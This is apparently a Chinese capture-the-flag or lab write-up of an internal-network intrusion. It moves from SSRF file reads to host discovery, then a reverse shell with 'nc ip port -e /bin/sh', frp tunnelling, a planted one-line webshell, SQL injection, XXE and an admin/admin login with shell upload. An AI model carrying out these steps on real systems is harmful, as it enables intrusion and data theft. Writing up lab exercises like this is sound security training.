首先ssrf读取文件url=file:///flag ，拿到flag
探测内网主机
1 2 10 138 250 的主机

读取/etc/hosts, /proc/net/arp, 拿到内网信息
扫描内网端口，提示192.168.0.10网站被黑，可能存有shell.php
利用这个去执行命令反弹shell
测试可以出网
测试命令发现对面不支持bash，可以用sh -c执行命令
nc ip port -e /bin/sh 反弹成功
将frp传到内网
vps开启服务./frps -c ./frps.ini，目标上执行./frpc -c ./frpc.ini
proxifier配置代理,ip是公网服务器ip，端口是frpc.ini中的remote_port
此时本地访问192.168.0.10/shell.php即可访问到目标内网的shell.php

在目标写入一句话，蚁剑连接
192.168.0.138SQL注入
192.168.0.250存在xxe，读取/flag和/var/www/html/flag
在192.168.0.10里还发发现10.10.0.22

访问10.10.0.22，加上admin.php,进入后台，输入admin、admin登录
文件夹管理上传shell,点击拿到路径
连接蚁剑
拿到网站根目录和根目录下的两个flag